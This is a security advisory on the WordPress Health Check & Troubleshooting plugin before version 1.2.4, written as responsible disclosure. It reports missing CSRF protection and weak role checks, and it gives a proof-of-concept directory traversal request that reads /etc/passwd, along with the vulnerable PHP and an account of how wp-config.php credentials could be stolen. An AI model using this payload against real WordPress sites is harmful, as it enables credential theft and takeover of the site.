SYNACKTIV
DIGITAL SECURITY

Multiple vulnerabilities in *WordPress Health Check & Troubleshooting* plugin < 1.2.4

Security advisory

2018-01-25

Julien Legras

Vulnerabilities description

Presentation of *WordPress Health Check & Troubleshooting*

"This plugin will perform a number of checks on your WordPress install to detect common configuration errors and known issues.

It currently checks your PHP and MySQL versions, some extensions which are needed or may improve WordPress, and that the WordPress.org services are accessible to you.

The debug section, which allows you to gather information about your WordPress and server configuration that you may easily share with support representatives for themes, plugins or on the official WordPress.org support forums.

Troubleshooting allows you to have a vanilla WordPress session, where all plugins are disabled, and a default theme is used, but only for your user."[1]

The issues

Synacktiv discovered multiple issues in this plugin:

- No anti-CSRF nonces,
- Weak access control on sensitive actions,
- Directory traversal in the file diff feature.

Combining the last two issues, any authenticated user can read files on the filesystem or access technical information such as the PHP version.

Affected versions

At least the version 1.2.3 is affected but previous versions might be vulnerable.

Workaround

Update to version 1.2.4. Warning: it is still possible for admin users to read sensitive files such as *wp-config.php:*

"If a user is given that amount of access (even if plugin installations are restricted) it's presumed you are a privileged user. We will be hardening it in the future, but it's not considered a major issue needing immediate remediation."

Timeline

Date	Action
2018-12-24	Vulnerabilities identified.
2019-01-03	Advisory writing.
2019-01-04	Advisory sent to the maintainer. Maintainer responded.
2019-01-14	Fixed version 1.2.4 published. https://plugins.trac.wordpress.org/changeset/2011772/health-check
2019-01-14	Maintainer contacted as admin still access sensitive files such as *wp-config.php*.
2019-01-25	Risk is accepted, advisory published.

1 https://fr.wordpress.org/plugins/health-check/

Technical description and proof-of-concept

Description

Health Check & Troubleshooting is a WordPress plugin that can be used to perform various security checks on the WordPress instance such as:

- Updates,
- File integrity,
- System configuration,
- etc.

First, a directory traversal was identified in the file differences viewer, allowing to fetch any file of the server:

```
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 172.17.0.3
Content-Length: 68
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: [...]

action=health-check-view-file-diff&file=../../../../../../etc/passwd

HTTP/1.1 200 OK
Date: Thu, 03 Jan 2019 17:02:08 GMT
…
{
  "success": true,
  "data": {
    "message": "<table class=\"diff\"><thead><tr class=\"diff-sub-
title\"><th>Original</th><th>Modified</th></tr></table><table class='diff'>\n<col
class='content diffsplit left' /><col class='content diffsplit middle' /><col
class='content diffsplit right' /><tbody>\n<tr><td class='diff-
deletedline'></td><td> </td><td class='diff-
addedline'>root:x:0:0:root:/root:/bin/bash</td></tr>\n<tr><td> </td><td> </td><td
class='diff-
addedline'>daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin</td></tr>\n<tr><td> </td><t
d> </td><td class='diff-
addedline'>bin:x:2:2:bin:/bin:/usr/sbin/nologin</td></tr>\n<tr><td> </td><td> </t
d><td class='diff-
addedline'>sys:x:3:3:sys:/dev:/usr/sbin/nologin</td></tr>\n<tr><td> </td><td> </t
d>[...]</tbody>\n</table>"
  }
}
```

The vulnerability is located in *health-check/includes/class-health-check-files-integrity.php*, where the POST parameter *file* is used as is with *file_get_contents*:

```
static function view_file_diff() {
    $filepath         = ABSPATH;
    $file             = $_POST['file'];
    $wpversion        = get_bloginfo( 'version' );
    $local_file_body  = file_get_contents( $filepath . $file, FILE_USE_INCLUDE_PATH );
    $remote_file      = wp_remote_get( 'https://core.svn.wordpress.org/tags/' .
$wpversion . '/' . $file );
    $remote_file_body = wp_remote_retrieve_body( $remote_file );
    $diff_args        = array(
        'show_split_view' => true,
```

```
    );

    $output   = '<table class="diff"><thead><tr class="diff-sub-title"><th>';
    $output  .= esc_html__( 'Original', 'health-check' );
    $output  .= '</th><th>';
    $output  .= esc_html__( 'Modified', 'health-check' );
    $output  .= '</th></tr></table>';
    $output  .= wp_text_diff( $remote_file_body, $local_file_body, $diff_args );
    $response = array(
        'message' => $output,
    );

    wp_send_json_success( $response );
    wp_die();
}
```

Moreover, the plugin does not perform sufficient checks regarding the user permission. Thus, it is possible to call almost all AJAX actions using a subscriber account because the user role is not checked. For instance, the action *health-check-site-status* does not perform any check:

```
class Health_Check_Site_Status {
[...]
      public function __construct() {
            $this->init();
      }

      public function init() {
            $this->php_min_version_check       =
version_compare( HEALTH_CHECK_PHP_MIN_VERSION, PHP_VERSION, '<=' );
            $this->php_supported_version_check =
version_compare( HEALTH_CHECK_PHP_SUPPORTED_VERSION, PHP_VERSION, '<=' );
            $this->php_rec_version_check       =
version_compare( HEALTH_CHECK_PHP_REC_VERSION, PHP_VERSION, '<=' );

            $this->prepare_sql_data();

            add_action( 'wp_ajax_health-check-site-status', array( $this,
'site_status' ) );

            add_action( 'wp_loaded', array( $this, 'check_wp_version_check_exists' ) );
      }
[...]
      public function site_status() {
            $function = sprintf(
                  'test_%s',
                  $_POST['feature']
            );

            if ( ! method_exists( $this, $function ) || ! is_callable( array( $this,
$function ) ) ) {
                  die();
            }

            $call = call_user_func( array( $this, $function ) );

            die();
      }
```

```
[...]
	public function test_php_version() {
		$status = 'good';
		$notice = array();

		if ( ! $this->php_min_version_check ) {
[...]
```

The following AJAX actions are affected:

- *health-check-site-status*
- *health-check-loopback-no-plugins*
- *health-check-loopback-individual-plugins*
- *health-check-loopback-default-theme*
- *health-check-files-integrity-check*
- *health-check-view-file-diff*
- *health-check-mail-check*
- *health-check-confirm-warning*

Finally, all these AJAX actions are not protected against CSRF attacks.

Impact

By combining the directory traversal and the lack of permission check, any subscriber could read the *wp-config.php* file but also system files such as bash history files, services configurations, etc.

If the database or a *PhpMyAdmin* is exposed, an attacker could use the credentials found in *wp-config.php* to gain administrator privileges on the *WordPress* instance and deploy a malicious plugin to take over the underlying system.